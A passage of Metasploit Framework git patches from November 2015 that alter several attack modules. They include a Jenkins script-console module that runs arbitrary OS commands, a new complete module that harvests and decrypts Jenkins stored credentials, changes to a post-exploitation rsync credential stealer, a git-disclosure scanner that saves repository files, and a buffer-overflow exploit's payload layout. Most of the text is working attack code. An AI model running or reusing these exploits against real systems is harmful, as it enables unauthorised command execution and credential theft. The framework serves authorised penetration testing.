get_tlv_value(TLV_TYPE_CELL_SYSTEM_ID) - info = sprintf("base_id=%d lat=%d lng=%d net_id=%d sys_id=%d", bid, lat, lng, net, sys) - result[:entries] << [timestamp, "CDMA: #{info}"] - end + cell.each(TLV_TYPE_CELL_ACTIVE_GSM) do |info| + cid = info.get_tlv_value(TLV_TYPE_CELL_CID) + lac = info.get_tlv_value(TLV_TYPE_CELL_LAC) + psc = info.get_tlv_value(TLV_TYPE_CELL_PSC) + info = sprintf("cid=%d lac=%d psc=%d", cid, lac, psc) + result[:entries] << [timestamp, "GSM: #{info}"] + end + + cell.each(TLV_TYPE_CELL_ACTIVE_CDMA) do |info| + bid = info.get_tlv_value(TLV_TYPE_CELL_BASE_ID) + lat = info.get_tlv_value(TLV_TYPE_CELL_BASE_LAT) + lng = info.get_tlv_value(TLV_TYPE_CELL_BASE_LONG) + net = info.get_tlv_value(TLV_TYPE_CELL_NET_ID) + sys = info.get_tlv_value(TLV_TYPE_CELL_SYSTEM_ID) + info = sprintf("base_id=%d lat=%d lng=%d net_id=%d sys_id=%d", bid, lat, lng, net, sys) + result[:entries] << [timestamp, "CDMA: #{info}"] + end + + cell.each(TLV_TYPE_CELL_NEIGHBOR) do |w| + net = w.get_tlv_value(TLV_TYPE_CELL_NET_TYPE) + cid = w.get_tlv_value(TLV_TYPE_CELL_CID) + lac = w.get_tlv_value(TLV_TYPE_CELL_LAC) + psc = w.get_tlv_value(TLV_TYPE_CELL_PSC) + sig = w.get_tlv_value(TLV_TYPE_CELL_RSSI) * -1 + inf = sprintf("network_type=%d cid=%d lac=%d psc=%d rssi=%d", net, cid, lac, psc, sig) + result[:entries] << [timestamp, inf] + end - g.each(TLV_TYPE_CELL_NEIGHBOR) do |w| - net = w.get_tlv_value(TLV_TYPE_CELL_NET_TYPE) - cid = w.get_tlv_value(TLV_TYPE_CELL_CID) - lac = w.get_tlv_value(TLV_TYPE_CELL_LAC) - psc = w.get_tlv_value(TLV_TYPE_CELL_PSC) - sig = w.get_tlv_value(TLV_TYPE_CELL_RSSI) * -1 - inf = sprintf("network_type=%d cid=%d lac=%d psc=%d rssi=%d", net, cid, lac, psc, sig) - result[:entries] << [timestamp, inf] end end end From fc46ce0cedc1307c1957ee2b91035eae870d8575 Mon Sep 17 00:00:00 2001 From: aushack <patrick@aushack.com> Date: Sun, 22 Nov 2015 13:39:45 +1100 Subject: [PATCH 1291/2172] Bring module title in line with other WP modules. --- modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb | 2 +- modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb | 2 +- modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 944ca3a0fb..1977cd1a5a 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract', + 'Name' => 'WordPress W3-Total-Cache plugin 0.9.2.4 (or before) Username and Hash Extract', 'Description' => "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards diff --git a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb index 7759aa87c1..12e6ed9e4a 100644 --- a/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb +++ b/modules/auxiliary/scanner/http/wordpress_cp_calendar_sqli.rb @@ -14,7 +14,7 @@ class Metasploit4 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'CP Multi-View Calendar Unauthenticated SQL Injection Scanner', + 'Name' => 'WordPress CP Multi-View Calendar Unauthenticated SQL Injection Scanner', 'Description' => %q{ This module will scan given instances for an unauthenticated SQL injection within the CP Multi-View Calendar plugin v1.1.4 for Wordpress. diff --git a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb index c997f1d988..36448f4262 100644 --- a/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_contus_video_gallery_sqli.rb @@ -13,7 +13,7 @@ class Metasploit4 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Contus Video Gallery Unauthenticated SQL Injection Scanner', + 'Name' => 'WordPress Contus Video Gallery Unauthenticated SQL Injection Scanner', 'Description' => %q{ This module attempts to exploit a UNION-based SQL injection in Contus Video Gallery for Wordpress version 2.7 and likely prior in order if the instance is From 1410d0338677adde40295634bcb4896befe07206 Mon Sep 17 00:00:00 2001 From: aushack <patrick@aushack.com> Date: Sun, 22 Nov 2015 14:32:51 +1100 Subject: [PATCH 1292/2172] Fixed msftidy capitalisation. --- modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 1977cd1a5a..2dcc988ec3 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'WordPress W3-Total-Cache plugin 0.9.2.4 (or before) Username and Hash Extract', + 'Name' => 'WordPress W3-Total-Cache Plugin 0.9.2.4 (or before) Username and Hash Extract', 'Description' => "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards From 93bb31dfa0aaa737bc5fbb4ffa87bc6040eca134 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Sat, 21 Nov 2015 19:50:33 -0800 Subject: [PATCH 1293/2172] Make path to rsyncd configuration file configurable --- modules/post/multi/gather/rsyncd_creds.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 95220d9f81..cc89536385 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -29,6 +29,11 @@ class Metasploit3 < Msf::Post OptBool.new('USER_CONFIGS', [true, 'Get passwords from each local user\'s rsyncd.conf', true]) ] ) + register_advanced_options( + [ + OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf']) + ] + ) end def dump_rsync_secrets(config_file) @@ -72,8 +77,9 @@ class Metasploit3 < Msf::Post # build up a list of rsync configuration files to read, including the # default location of the daemon config as well as any per-user # configuration files that may exist (rare) - config_files = Set.new([ '/etc/rsyncd.conf' ]) - config_files |= enum_user_directories.map { |d| ::File.join(d, 'rsyncd.conf') } if datastore['USER_CONFIGS'] + config_path = datastore['RSYNCD_CONFIG'] + config_files = Set.new([ config_path ]) + config_files |= enum_user_directories.map { |d| ::File.join(d, ::File.basename(config_path)) } if datastore['USER_CONFIGS'] config_files.map { |config_file| dump_rsync_secrets(config_file) } end end From 2dd85677415b9102d99271a699f0bd8d0fc9886e Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Sun, 22 Nov 2015 09:18:19 +0000 Subject: [PATCH 1294/2172] remove GIT_HEAD / add description / git_config regex match / save index|config file(s) --- modules/auxiliary/scanner/http/git_scanner.rb | 70 ++++++++++--------- 1 file changed, 37 insertions(+), 33 deletions(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index faf6081f12..9c1fb1dc20 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -14,8 +14,17 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'HTTP Git Scanner', - 'Description' => 'Detect Git disclosure.', - 'Author' => ['Nixawk'], + 'Description' => %q{ + This module can detect information disclosure vlnerabilities in + Git Repository. Git has some files that stores in Git Resitory, + ex: .git/config, .git/index. We can get a number of personal/ + preferences settings from .git/config, and get source code, + account information from .git/index. + }, + 'Author' => [ + 'Nixawk', # module developer + 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module + ], 'References' => [ ['URL', 'https://github.com/git/git/blob/master/Documentation/technical/index-format.txt'] ], @@ -26,8 +35,7 @@ class Metasploit3 < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'The test path to .git directory', '/.git/']), OptBool.new('GIT_INDEX', [true, 'Check index file in .git directory', true]), - OptBool.new('GIT_CONFIG', [false, 'Check config file in .git directory', true]), - OptBool.new('GIT_HEAD', [false, 'Check HEAD file in .git directory', true]) + OptBool.new('GIT_CONFIG', [true, 'Check config file in .git directory', true]) ] ) end @@ -56,46 +64,43 @@ class Metasploit3 < Msf::Auxiliary type: 'git_disclosure', data: { full_uri: full_uri, version: version, entries_count: entries_count } ) + + path = store_loot('index', 'binary', rhost, resp, full_uri) + print_good("Saved file to: #{path}") end def git_index res = req('index') - return unless res && res.code == 200 - git_index_parse(res.body) + unless res + vprint_error("#{full_uri}index - No response received") + return + end + vprint_status("#{full_uri}index (http status #{res.code})") + + git_index_parse(res.body) if res.code == 200 end def git_config res = req('config') - return unless res && res.code == 200 - - if (res.body.include?('core') || res.body.include?('remote') || res.body.include?('branch')) - print_good("#{full_uri} (git disclosure - config file Found") - - report_note( - host: rhost, - port: rport, - proto: 'tcp', - type: 'git_disclosure', - data: { full_uri: full_uri } - ) + unless res + vprint_error("#{full_uri}config - No response received") + return end - end + vprint_status("#{full_uri}config - (http status #{res.code})") - def git_head - res = req('HEAD') - return unless res && res.code == 200 + return unless res.code == 200 && res.body =~ /\[(?:branch|core|remote)\]/ + print_good("#{full_uri}config (git disclosure - config file Found)") - if res.body.include?('ref:') - print_good("#{full_uri} (git disclosure - HEAD file Found") + report_note( + host: rhost, + port: rport, + proto: 'tcp', + type: 'git_disclosure', + data: { full_uri: full_uri } + ) - report_note( - host: rhost, - port: rport, - proto: 'tcp', - type: 'git_disclosure', - data: { full_uri: full_uri } - ) - end + path = store_loot('config', 'text/plain', rhost, res.body, full_uri) + print_good("Saved file to: #{path}") end def run_host(_target_host) @@ -103,6 +108,5 @@ class Metasploit3 < Msf::Auxiliary vhost = datastore['VHOST'] || wmap_target_host git_index if datastore['GIT_INDEX'] git_config if datastore['GIT_CONFIG'] - git_head if datastore['GIT_HEAD'] end end From 353cad2cc6f06f782fd85dabad833942431264d5 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sun, 22 Nov 2015 13:38:26 -0600 Subject: [PATCH 1295/2172] Update to match active & github account merge --- .mailmap | 5 +++-- lib/msf/core/author.rb | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/.mailmap b/.mailmap index a0301196b8..4d166426f8 100644 --- a/.mailmap +++ b/.mailmap @@ -9,8 +9,9 @@ dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com> dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com> ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com> farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com> -hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com> -hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net> +hdm <hdm@github> HD Moore <hd_moore@rapid7.com> +hdm <hdm@github> HD Moore <hdm@digitaloffense.net> +hdm <hdm@github> HD Moore <x@hdm.io> jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com> jlee-r7 <jlee-r7@github> <james_lee@rapid7.com> jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt diff --git a/lib/msf/core/author.rb b/lib/msf/core/author.rb index 2525d822a3..214aa73a73 100644 --- a/lib/msf/core/author.rb +++ b/lib/msf/core/author.rb @@ -25,7 +25,7 @@ class Msf::Author 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', 'et' => 'et' + 0x40.chr + 'metasploit.com', 'Christian Mehlmauer' => 'FireFart' + 0x40.chr + 'gmail.com', - 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', + 'hdm' => 'x' + 0x40.chr + 'hdm.io', 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', 'jcran' => 'jcran' + 0x40.chr + 'metasploit.com', 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', From dc5e9a1d0a25563b4748bcc5f3188dc97172534c Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <zeroSteiner@gmail.com> Date: Sun, 22 Nov 2015 17:51:27 -0500 Subject: [PATCH 1296/2172] Support CSRF token in the Jenkins aux cmd module --- .../auxiliary/scanner/http/jenkins_command.rb | 35 ++++++++++++++----- .../multi/http/jenkins_script_console.rb | 4 +-- 2 files changed, 29 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_command.rb b/modules/auxiliary/scanner/http/jenkins_command.rb index 4bc4b48ede..8862dba38c 100644 --- a/modules/auxiliary/scanner/http/jenkins_command.rb +++ b/modules/auxiliary/scanner/http/jenkins_command.rb @@ -34,8 +34,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]), - OptString.new('COMMAND', [true, 'Command to run in application', 'whoami']), + OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]), + OptString.new('COMMAND', [ true, 'Command to run in application', 'whoami' ]), ], self.class) end @@ -45,6 +45,7 @@ class Metasploit3 < Msf::Auxiliary # Verify that we received a proper systemInfo response unless res && res.body.to_s.length > 0 vprint_error("#{peer} - The server did not reply to our systemInfo request") + return end unless res.body.index("System Properties") && @@ -57,22 +58,40 @@ class Metasploit3 < Msf::Auxiliary return end + host_info = {} + if (res.body =~ /"\.crumb", "([a-z0-9]*)"/) + print_status("#{peer} Using CSRF token: '#{$1}'") + host_info[:crumb] = $1 + + sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] + host_info[:cookie] = "#{sessionid}" + end + os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first - os_info.index(">Windows") ? "cmd.exe /c " : "" + host_info[:prefix] = os_info.index(">Windows") ? "cmd.exe /c " : "" + host_info end def run_host(ip) command = datastore['COMMAND'].gsub("\\", "\\\\\\") - prefix = fingerprint_os(ip) - return if prefix.nil? + host_info = fingerprint_os(ip) + return if host_info.nil? + prefix = host_info[:prefix] - res = send_request_cgi({ + request_parameters = { 'uri' => "#{target_uri.path}script", 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', - 'data' => "script=def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%0D%0Adef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%22%0D%0A&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%26gt%3B+%24sout+err%26gt%3B+%24serr%5C%22%5Cn%22%2C+%22%22%3A+%22def+sout+%3D+new+StringBuffer%28%29%2C+serr+%3D+new+StringBuffer%28%29%5Cndef+proc+%3D+%27#{prefix}+#{command}%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%22%7D&Submit=Run" - }) + 'vars_post' => + { + 'script' => "def sout = new StringBuffer(), serr = new StringBuffer()\r\ndef proc = '#{prefix} #{command}'.execute()\r\nproc.consumeProcessOutput(sout, serr)\r\nproc.waitForOrKill(1000)\r\nprintln \"out> $sout err> $serr\"\r\n", + 'Submit' => 'Run' + } + } + request_parameters['cookie'] = host_info[:cookie] unless host_info[:cookie].nil? + request_parameters['vars_post']['.crumb'] = host_info[:crumb] unless host_info[:crumb].nil? + res = send_request_cgi(request_parameters) unless res && res.body.to_s.length > 0 vprint_error("#{peer} No response received from the server.") diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 2806cd0ee1..be58119023 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -172,8 +172,8 @@ class Metasploit3 < Msf::Exploit::Remote end if (res.body =~ /"\.crumb", "([a-z0-9]*)"/) - print_status("Using CSRF token: '#{$1}'"); - @crumb = $1; + print_status("Using CSRF token: '#{$1}'") + @crumb = $1 end case target['Platform'] From 441fff4b7cad5679423437f0f946046f4fd50f43 Mon Sep 17 00:00:00 2001 From: JT <shipcodez@gmail.com> Date: Mon, 23 Nov 2015 06:53:12 +0800 Subject: [PATCH 1297/2172] Update bison_ftp_bof.rb Adding constant NOP --- modules/exploits/windows/ftp/bison_ftp_bof.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/ftp/bison_ftp_bof.rb b/modules/exploits/windows/ftp/bison_ftp_bof.rb index 147b3949e0..e8b162a6e1 100644 --- a/modules/exploits/windows/ftp/bison_ftp_bof.rb +++ b/modules/exploits/windows/ftp/bison_ftp_bof.rb @@ -48,7 +48,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Bisonware FTP Server / Windows XP SP3 EN', { 'Ret' => 0x0040333f, - 'Offset' => 1028 + 'Offset' => 1028, + 'Nops' => 404 } ], ], @@ -77,9 +78,8 @@ class Metasploit4 < Msf::Exploit::Remote connect #connect for the second time buf = rand_text_alpha(target['Offset']) - buf << make_nops(16) buf << payload.encoded - buf << make_nops(388 - payload.encoded.length) + buf << make_nops( (target['Nops']) - payload.encoded.length) buf << [target.ret].pack('V') print_status('Sending payload...') From 718e928fe3544f6824c39150808700ec16beb977 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 23 Nov 2015 11:11:03 -0800 Subject: [PATCH 1298/2172] Control per-user config file --- modules/post/multi/gather/rsyncd_creds.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index cc89536385..5e5dab42f5 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Post register_options( [ - OptBool.new('USER_CONFIGS', [true, 'Get passwords from each local user\'s rsyncd.conf', true]) + OptString.new('USER_CONFIG', [false, 'Attempt to passwords from this RSYNC ' \ + 'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf']) ] ) register_advanced_options( @@ -36,6 +37,10 @@ class Metasploit3 < Msf::Post ) end + def setup + @user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG'] + end + def dump_rsync_secrets(config_file) vprint_status("Attempting to get RSYNC creds from #{config_file}") creds_table = Rex::Ui::Text::Table.new( @@ -79,7 +84,7 @@ class Metasploit3 < Msf::Post # configuration files that may exist (rare) config_path = datastore['RSYNCD_CONFIG'] config_files = Set.new([ config_path ]) - config_files |= enum_user_directories.map { |d| ::File.join(d, ::File.basename(config_path)) } if datastore['USER_CONFIGS'] + config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config config_files.map { |config_file| dump_rsync_secrets(config_file) } end end From 601d4fda9f44be7fa34287b4bf36f992f6809584 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Mon, 23 Nov 2015 14:24:26 -0600 Subject: [PATCH 1299/2172] Add note about --auth-nocache --- modules/post/linux/gather/openvpn_credentials.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb index 49a2b326a3..2ca64520ce 100644 --- a/modules/post/linux/gather/openvpn_credentials.rb +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -18,6 +18,8 @@ class Metasploit4 < Msf::Post 'Description' => %q{ This module grab OpenVPN credentials from a running process in Linux. + + Note: --auth-nocache must not be set in the OpenVPN command line. }, 'License' => MSF_LICENSE, 'Author' => From faab28f1d6926975049a3c1dff7968a229114268 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 23 Nov 2015 16:23:59 -0600 Subject: [PATCH 1300/2172] Add Jenkins Domain Credential Discovery Auxiliary Module --- .../auxiliary/gather/jenkins_cred_recovery.rb | 263 ++++++++++++++++++ 1 file changed, 263 insertions(+) create mode 100644 modules/auxiliary/gather/jenkins_cred_recovery.rb diff --git a/modules/auxiliary/gather/jenkins_cred_recovery.rb b/modules/auxiliary/gather/jenkins_cred_recovery.rb new file mode 100644 index 0000000000..f5390d5a76 --- /dev/null +++ b/modules/auxiliary/gather/jenkins_cred_recovery.rb @@ -0,0 +1,263 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'json' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins Domain Credential Recovery', + 'Description' => %q{ + This module will collect Jenkins domain username and passwords, and uses + the script console to decrypt them. + + It has been tested against Jenkins version 1.590, 1.633, and 1.638. + }, + 'Author' => + [ + 'Th3R3p0', # Vuln Discovery, PoC + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'EDB', '38664' ], + [ 'URL', 'http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html' ] + ], + 'DefaultOptions' => + { + 'RPORT' => 8080 + }, + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']), + OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_']) + ], self.class) + end + + + # Returns the Jenkins version. + # + # @return [String] Jenkins version. + # @return [NilClass] No Jenkins version found. + def get_jenkins_version + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ 'uri' => uri }) + html = res.get_html_document + version_attribute = html.at('body').attributes['data-version'] + version = version_attribute ? version_attribute.value : '' + version.scan(/jenkins\-([\d\.]+)/).flatten.first + end + + + # Returns the Jenkins domain configured by the user. + # + # @return [String] + def domain + datastore['JENKINSDOMAIN'] + end + + + # Returns a check code indicating the vulnerable status. + # + # @return [Array] Check code + def check + version = get_jenkins_version + vprint_status("Found version: #{version}") + + # According to the issue response from Jenkins, they don't think it's a vulnerability, + # so there is no fix. So if we find a version, let's assume it's vulnerable + if version + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + + # Returns all the found Jenkins accounts of a specific domain. The accounts collected only + # include the ones with the username-and-password kind. It does not include other kinds such + # as SSH, certificates, or other plugins. + # + # @return [Array<Hash>] An array of account data such as id, username, kind, description, and + # the domain it belongs to. + def get_users + users = [] + + uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain) + uri << '/' + + res = send_request_cgi({ 'uri'=>uri }) + html = res.get_html_document + rows = html.search('//table[@class="sortable pane bigtable"]//tr') + + # The first row is the table header, which we don't want. + rows.shift + + rows.each do |row| + td = row.search('td') + id = td[0].at('a').attributes['href'].value.scan(/^credential\/(.+)/).flatten.first || '' + name = td[1].text.scan(/^(.+)\/\*+/).flatten.first || '' + kind = td[2].text + desc = td[3].text + next unless /Username with password/i === kind + + users << { + id: id, + username: name, + kind: kind, + description: desc, + domain: domain + } + end + + users + end + + + # Returns the found encrypted password from the update page. + # + # @param id [String] The ID of a specific account. + # + # @return [String] Found encrypted password. + # @return [NilCass] No encrypted password found. + def get_encrypted_password(id) + uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update') + res = send_request_cgi({ 'uri'=>uri }) + html = res.get_html_document + input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]') + + if input + return input.attributes['value'].value + else + vprint_error("Unable to find encrypted password for #{id}") + end + + nil + end + + + # Returns the decrypted password by using the script console. + # + # @param encrypted_pass [String] The encrypted password. + # + # @return [String] The decrypted password. + # @return [NilClass] No decrypted password found (no result found on the console) + def decrypt(encrypted_pass) + uri = normalize_uri(target_uri, 'script') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'", + 'json' => {'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'"}.to_json, + 'Submit' => 'Run' + } + }) + + html = res.get_html_document + result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]') + if result + decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first + return decrypted_password + else + vprint_error('Unable to find result') + end + + nil + end + + + # Decrypts an encrypted password for a given ID. + # + # @param id [String] Account ID. + # + # @return [String] The decrypted password. + # @return [NilClass] No decrypted password found (no result found on the console) + def descrypt_password(id) + encrypted_pass = get_encrypted_password(id) + decrypt(encrypted_pass) + end + + + # Reports the username and password to database. + # + # @param opts [Hash] + # @option opts [String] :user + # @option opts [String] :password + # @option opts [String] :proof + # + # @return [void] + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + + def run + users = get_users + print_status("Found users for domain #{domain}: #{users.length}") + + users.each do |user_data| + pass = descrypt_password(user_data[:id]) + if pass + if user_data[:description].blank? + print_good("Found credential: #{user_data[:username]}:#{pass}") + else + print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})") + end + end + + report_cred( + user: user_data[:username], + password: pass, + proof: user_data.inspect + ) + end + end + + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + + def print_error(msg='') + super("#{peer} - #{msg}") + end + +end From 20ba10d46c59da5bfbe6fd3854444ddf83c0edae Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 23 Nov 2015 16:45:02 -0600 Subject: [PATCH 1301/2172] Spaces, how dare you --- modules/auxiliary/gather/jenkins_cred_recovery.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/jenkins_cred_recovery.rb b/modules/auxiliary/gather/jenkins_cred_recovery.rb index f5390d5a76..b6de30e8cd 100644 --- a/modules/auxiliary/gather/jenkins_cred_recovery.rb +++ b/modules/auxiliary/gather/jenkins_cred_recovery.rb @@ -38,8 +38,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']), - OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_']) + OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']), + OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_']) ], self.class) end From 09e6a54886600e535971359a72f5dacb34a80343 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Mon, 23 Nov 2015 20:26:41 -0600 Subject: [PATCH 1302/2172] In case anonymous is not allowed for decryption --- .../auxiliary/gather/jenkins_cred_recovery.rb | 23 +++++++++++++++---- 1 file changed, 18 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/gather/jenkins_cred_recovery.rb b/modules/auxiliary/gather/jenkins_cred_recovery.rb index b6de30e8cd..a467e0325e 100644 --- a/modules/auxiliary/gather/jenkins_cred_recovery.rb +++ b/modules/auxiliary/gather/jenkins_cred_recovery.rb @@ -14,8 +14,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Jenkins Domain Credential Recovery', 'Description' => %q{ - This module will collect Jenkins domain username and passwords, and uses - the script console to decrypt them. + This module will collect Jenkins domain credentials, and uses + the script console to decrypt each password if anonymous permission + is allowed. It has been tested against Jenkins version 1.590, 1.633, and 1.638. }, @@ -163,6 +164,11 @@ class Metasploit3 < Msf::Auxiliary } }) + if res && /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body + vprint_error('No permission to decrypt password') + return nil + end + html = res.get_html_document result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]') if result @@ -208,11 +214,16 @@ class Metasploit3 < Msf::Auxiliary credential_data = { origin_type: :service, module_fullname: fullname, - username: opts[:user], - private_data: opts[:password], - private_type: :password + username: opts[:user] }.merge(service_data) + if opts[:password] + credential_data.merge!( + private_data: opts[:password], + private_type: :password + ) + end + login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::UNTRIED, @@ -235,6 +246,8 @@ class Metasploit3 < 